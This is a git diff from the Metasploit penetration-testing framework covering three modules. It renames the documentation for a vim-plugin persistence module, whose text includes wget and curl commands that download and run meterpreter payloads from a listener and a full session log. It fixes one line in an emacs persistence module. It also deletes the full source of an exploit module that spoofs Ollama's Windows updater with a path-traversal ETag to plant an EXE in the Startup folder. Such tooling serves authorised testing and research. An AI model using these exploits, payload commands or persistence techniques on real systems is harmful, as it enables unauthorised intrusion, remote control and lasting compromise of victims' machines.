diff --git a/documentation/modules/exploit/linux/persistence/vim_persistence.md b/documentation/modules/exploit/linux/persistence/vim_persistence.md deleted file mode 100644 index aa693b6f09..0000000000 --- a/documentation/modules/exploit/linux/persistence/vim_persistence.md +++ /dev/null @@ -1,99 +0,0 @@ -## Vulnerable Application - -This module creates a VIM Plugin which executes a payload on VIM startup. - -## Verification Steps - -1. Install the application if needed -2. Start msfconsole -3. Get a shell on a linux computer with vim installed -4. Do: `use exploit/linux/persistence/vim_persistence` -5. Do: `run` -6. Start `vim` on the remote computer -7. You should get a shell. - -## Options - -### NAME - -Name of the extension. Defaults to random. - -## Scenarios - -### vim 9.1.2141 on Kali 2026.1 - -``` -resource (/root/.msf4/msfconsole.rc)> setg verbose true -verbose => true -resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1 -lhost => 1.1.1.1 -resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp -payload => cmd/linux/http/x64/meterpreter/reverse_tcp -resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery -[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp -resource (/root/.msf4/msfconsole.rc)> set target 7 -target => 7 -resource (/root/.msf4/msfconsole.rc)> set srvport 8082 -srvport => 8082 -resource (/root/.msf4/msfconsole.rc)> set uripath l -uripath => l -resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp -payload => linux/x64/meterpreter/reverse_tcp -resource (/root/.msf4/msfconsole.rc)> set lport 4446 -lport => 4446 -resource (/root/.msf4/msfconsole.rc)> run -[*] Exploit running as background job 0. -[*] Exploit completed, but no session was created. -[*] Started reverse TCP handler on 1.1.1.1:4446 -[*] Using URL: http://1.1.1.1:8082/l -[*] Server started. -[*] Run the following command on the target machine: -wget -qO b1ULF8bg --no-check-certificate http://1.1.1.1:8082/l; chmod +x b1ULF8bg; ./b1ULF8bg& disown -msf exploit(multi/script/web_delivery) > -[*] 1.1.1.1 web_delivery - Delivering Payload (250 bytes) -[*] Transmitting intermediate stager...(126 bytes) -[*] Sending stage (3090404 bytes) to 1.1.1.1 -[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 1.1.1.1:35126) at 2026-03-30 08:43:36 -0400 - -msf exploit(multi/script/web_delivery) > sessions -i 1 -[*] Starting interaction with 1... - -meterpreter > getuid -Server username: h00die -meterpreter > sysinfo -Computer : h00die-kali -OS : Debian (Linux 6.18.12+kali-amd64) -Architecture : x64 -BuildTuple : x86_64-linux-musl -Meterpreter : x64/linux -meterpreter > background -[*] Backgrounding session 1... -msf exploit(multi/script/web_delivery) > use exploit/linux/persistence/vim_persistence -[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp -msf exploit(linux/persistence/vim_persistence) > set session 1 -session => 1 -msf exploit(linux/persistence/vim_persistence) > exploit -[*] Command to run on remote host: curl -so ./mCslKCWV http://1.1.1.1:8080/h21lOsiTyFK6CgBlUqDgZQ;chmod +x ./mCslKCWV;./mCslKCWV& -[*] Exploit running as background job 1. -[*] Exploit completed, but no session was created. - -[*] Fetch handler listening on 1.1.1.1:8080 -[*] HTTP server started -[*] Adding resource /h21lOsiTyFK6CgBlUqDgZQ -[*] Started reverse TCP handler on 1.1.1.1:4444 -msf exploit(linux/persistence/vim_persistence) > [*] Running automatic check ("set AutoCheck false" to disable) -[!] Payloads in /tmp will only last until reboot, you may want to choose elsewhere. -[!] The service is running, but could not be validated. VIM is installed -[*] Writing plugin to /root/.vim/plugin/UAxJbJuMy.vim -[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/h00die-kali_20260330.4754/h00die-kali_20260330.4754.rc -``` - -Open vim - -``` -[*] Client 1.1.1.1 requested /h21lOsiTyFK6CgBlUqDgZQ -[*] Sending payload to 1.1.1.1 (curl/8.18.0) -[*] Transmitting intermediate stager...(126 bytes) -[*] Sending stage (3090404 bytes) to 1.1.1.1 -[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 1.1.1.1:40448) at 2026-03-30 08:48:02 -0400 -``` diff --git a/documentation/modules/exploit/linux/persistence/vim_plugin.md b/documentation/modules/exploit/linux/persistence/vim_plugin.md index e69de29bb2..aa693b6f09 100644 --- a/documentation/modules/exploit/linux/persistence/vim_plugin.md +++ b/documentation/modules/exploit/linux/persistence/vim_plugin.md @@ -0,0 +1,99 @@ +## Vulnerable Application + +This module creates a VIM Plugin which executes a payload on VIM startup. + +## Verification Steps + +1. Install the application if needed +2. Start msfconsole +3. Get a shell on a linux computer with vim installed +4. Do: `use exploit/linux/persistence/vim_persistence` +5. Do: `run` +6. Start `vim` on the remote computer +7. You should get a shell. + +## Options + +### NAME + +Name of the extension. Defaults to random. + +## Scenarios + +### vim 9.1.2141 on Kali 2026.1 + +``` +resource (/root/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1 +lhost => 1.1.1.1 +resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp +payload => cmd/linux/http/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set target 7 +target => 7 +resource (/root/.msf4/msfconsole.rc)> set srvport 8082 +srvport => 8082 +resource (/root/.msf4/msfconsole.rc)> set uripath l +uripath => l +resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set lport 4446 +lport => 4446 +resource (/root/.msf4/msfconsole.rc)> run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Started reverse TCP handler on 1.1.1.1:4446 +[*] Using URL: http://1.1.1.1:8082/l +[*] Server started. +[*] Run the following command on the target machine: +wget -qO b1ULF8bg --no-check-certificate http://1.1.1.1:8082/l; chmod +x b1ULF8bg; ./b1ULF8bg& disown +msf exploit(multi/script/web_delivery) > +[*] 1.1.1.1 web_delivery - Delivering Payload (250 bytes) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3090404 bytes) to 1.1.1.1 +[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 1.1.1.1:35126) at 2026-03-30 08:43:36 -0400 + +msf exploit(multi/script/web_delivery) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > getuid +Server username: h00die +meterpreter > sysinfo +Computer : h00die-kali +OS : Debian (Linux 6.18.12+kali-amd64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > background +[*] Backgrounding session 1... +msf exploit(multi/script/web_delivery) > use exploit/linux/persistence/vim_persistence +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp +msf exploit(linux/persistence/vim_persistence) > set session 1 +session => 1 +msf exploit(linux/persistence/vim_persistence) > exploit +[*] Command to run on remote host: curl -so ./mCslKCWV http://1.1.1.1:8080/h21lOsiTyFK6CgBlUqDgZQ;chmod +x ./mCslKCWV;./mCslKCWV& +[*] Exploit running as background job 1. +[*] Exploit completed, but no session was created. + +[*] Fetch handler listening on 1.1.1.1:8080 +[*] HTTP server started +[*] Adding resource /h21lOsiTyFK6CgBlUqDgZQ +[*] Started reverse TCP handler on 1.1.1.1:4444 +msf exploit(linux/persistence/vim_persistence) > [*] Running automatic check ("set AutoCheck false" to disable) +[!] Payloads in /tmp will only last until reboot, you may want to choose elsewhere. +[!] The service is running, but could not be validated. VIM is installed +[*] Writing plugin to /root/.vim/plugin/UAxJbJuMy.vim +[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/h00die-kali_20260330.4754/h00die-kali_20260330.4754.rc +``` + +Open vim + +``` +[*] Client 1.1.1.1 requested /h21lOsiTyFK6CgBlUqDgZQ +[*] Sending payload to 1.1.1.1 (curl/8.18.0) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3090404 bytes) to 1.1.1.1 +[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 1.1.1.1:40448) at 2026-03-30 08:48:02 -0400 +``` diff --git a/modules/exploits/linux/persistence/emacs_extension.rb b/modules/exploits/linux/persistence/emacs_extension.rb index fe9b0f2016..7078fe773f 100644 --- a/modules/exploits/linux/persistence/emacs_extension.rb +++ b/modules/exploits/linux/persistence/emacs_extension.rb @@ -89,7 +89,7 @@ class MetasploitModule < Msf::Exploit::Local end unless directory?(lisp_dir) - cmd_exec("#{lisp_dir}", cleanup: false) + mkdir(lisp_dir, cleanup: false) @clean_up_rc << "rmdir #{lisp_dir}\n" end diff --git a/modules/exploits/windows/persistence/ollama_update_etag_traversal.rb b/modules/exploits/windows/persistence/ollama_update_etag_traversal.rb deleted file mode 100644 index 80b38196b1..0000000000 --- a/modules/exploits/windows/persistence/ollama_update_etag_traversal.rb +++ /dev/null @@ -1,211 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -class MetasploitModule < Msf::Exploit::Local - Rank = ExcellentRanking - - include Msf::Post::File - include Msf::Exploit::Remote::HttpServer - include Msf::Exploit::Local::Persistence - include Msf::Exploit::EXE - prepend Msf::Exploit::Remote::AutoCheck - - # ETag value that Ollama's updater resolves relative to its temp download dir - # (%LOCALAPPDATA%\Temp\\). Three levels up reaches %APPDATA%\. - ETAG_STARTUP = '"../../../Roaming/Microsoft/Windows/Start Menu/Programs/Startup"' - - # Six levels up from the same base dir reaches the filesystem root (C:\), - # then descend into the hosts file. Requires admin/elevated Ollama process. - ETAG_HOSTS = '"../../../../../../Windows/System32/drivers/etc/hosts"' - - def initialize(info = {}) - super( - update_info( - info, - 'Name' => 'Ollama Update ETag Path Traversal', - 'Description' => %q{ - This module exploits a path traversal vulnerability in Ollama's Windows - update mechanism between 0.12.10 through 0.22.0. When Ollama checks for - and downloads an update, the - destination path is derived from the server-supplied ETag response header - without sanitization. An attacker positioned to intercept or spoof Ollama's - update server (e.g. via DNS spoofing or ARP poisoning) can supply a - traversal ETag to write an arbitrary file anywhere the Ollama process has - write access. Two targets are provided: Startup EXE drops a payload into - the per-user Startup folder for persistence on next login (standard user); - Hosts File overwrites C:\Windows\System32\drivers\etc\hosts to poison DNS - resolution (requires admin/elevated Ollama). The current Ollama version is - extracted from the incoming update request via User-Agent or query param. - }, - 'License' => MSF_LICENSE, - 'Author' => [ - 'h00die', # msf module - 'Bartłomiej Dmitruk' # disclosure and PoC - ], - 'References' => [ - ['CVE', '2026-42248'], - ['CVE', '2026-42249'], - ['URL', 'https://www.striga.ai/research/ollama-windows-auto-update-rce'], - ['URL', 'https://github.com/ollama/ollama'] - ], - 'Platform' => 'win', - 'SessionTypes' => [ 'meterpreter', 'shell' ], - 'Arch' => [ARCH_X86, ARCH_X64], - 'Targets' => [ - [ - 'Windows x64 - Startup EXE', - { - 'Arch' => ARCH_X64, - 'ETag' => ETAG_STARTUP, - 'Type' => :exe - } - ], - [ - 'Windows x86 - Startup EXE', - { - 'Arch' => ARCH_X86, - 'ETag' => ETAG_STARTUP, - 'Type' => :exe - } - ] - ], - 'DefaultTarget' => 0, - 'DisclosureDate' => '2025-04-29', - 'Notes' => { - 'Stability' => [CRASH_SAFE], - 'Reliability' => [REPEATABLE_SESSION], - 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] - } - ) - ) - - register_options( - [ - OptPort.new('SRVPORT', [true, 'The local port to listen on', 8080]), - OptString.new('URIPATH', [true, 'The URI path', '/']), - OptString.new('FILENAME', [true, 'Payload Filename', 'OllamaSetup.exe']), - # OptString.new('HOSTS_ENTRY', [false, 'Hosts file entry to inject (e.g. "1.2.3.4 example.com")', '']) - ] - ) - end - - def check - output = cmd_exec('ollama --version') - # output: "ollama version is 0.23.1" - version = output.match(/ollama version is (\d+\.\d+\.\d+)/i)&.captures&.first - if version.nil? - # match on client version, hopefully close enough - version = output.match(/client version is (\d+\.\d+\.\d+)/i)&.captures&.first - end - - return CheckCode::Unknown('Could not determine Ollama version') unless version - - vprint_status("Detected Ollama version: #{version}") - - if Rex::Version.new(version) < Rex::Version.new('0.23.2') # this is artificial as it is believed to not be patched yet - return CheckCode::Appears("Ollama #{version} is vulnerable") - end - - CheckCode::Safe("Ollama #{version} is not vulnerable") - end - - def on_request_uri(cli, request) - if request.uri.include?('/api/update') - handle_update_check(cli, request) - elsif request.uri.include?('/download/') - handle_download(cli, request) - else - send_not_found(cli) - end - end - - def extract_version(request) - # Ollama's updater sends version as a query param and/or in the User-Agent. - # Query param takes precedence as it is always present and unambiguous. - ver = request.qstring['version'] - return ver if ver && !ver.empty? - - ua = request.headers['User-Agent'] || '' - # Match "ollama/X.Y.Z" anywhere in the UA string. - m = ua.match(%r{ollama/(\S+)}i) - m ? m[1] : nil - end - - def handle_update_check(cli, request) - proto = datastore['SSL'] ? 'https' : 'http' - host = request.headers['Host'] || "#{srvhost}:#{datastore['SRVPORT']}" - - ver = extract_version(request) - if ver - print_good("#{cli.peerhost} - Detected Ollama version: #{ver}") - report_note( - host: cli.peerhost, - type: 'ollama.version', - data: ver, - update: :unique_data - ) - else - print_status("#{cli.peerhost} - Could not determine Ollama version from request") - end - - body = JSON.generate({ - 'url' => "#{proto}://#{host}/download/#{datastore['FILENAME']}", - 'version' => '999.0.0' - }) - - print_status("#{cli.peerhost} - Sending fake update response → /download/#{datastore['FILENAME']}") - - send_response(cli, body, { - 'Content-Type' => 'application/json', - 'Content-Length' => body.bytesize.to_s - }) - end - - def handle_download(cli, request) - etag = target['ETag'] - headers = { - 'ETag' => etag, - 'Content-Disposition' => "attachment; filename=\"#{datastore['FILENAME']}\"" - } - - if request.method.eql?('HEAD') - print_status("#{cli.peerhost} - HEAD /download/ — sending path traversal ETag") - send_response(cli, '', headers) - return - end - - serve_exe_payload(cli, headers) - end - - def serve_exe_payload(cli, headers) - pload = generate_payload_exe - print_status("#{cli.peerhost} - GET /download/ — sending EXE payload (Startup folder)") - - headers['Content-Type'] = 'application/octet-stream' - headers['Content-Length'] = pload.bytesize.to_s - - send_response(cli, pload, headers) - handler(cli) - end - - def install_persistence - serv_url = "http#{'s' if datastore['SSL']}://#{srvhost}:#{datastore['SRVPORT']}" - if session.type == 'meterpreter' - update_url = session.sys.config.getenv('OLLAMA_UPDATE_URL') - else - update_url = cmd_exec('echo %OLLAMA_UPDATE_URL%').strip - end - if update_url.nil? || update_url.empty? - vprint_status('No existing OLLAMA_UPDATE_URL found') - @clean_up_rc << 'setx OLLAMA_UPDATE_URL ""' - else - vprint_status("Detected OLLAMA_UPDATE_URL as: #{update_url}") - @clean_up_rc << "setx OLLAMA_UPDATE_URL \"#{update_url}\"" - end - puts cmd_exec("setx OLLAMA_UPDATE_URL \"#{serv_url}\"") - print_good("Ollama update URL set to #{serv_url} for persistence. It can be reverted with: setx OLLAMA_UPDATE_URL \"#{update_url}\"") - puts session.sys.config.getenv('OLLAMA_UPDATE_URL') - end -end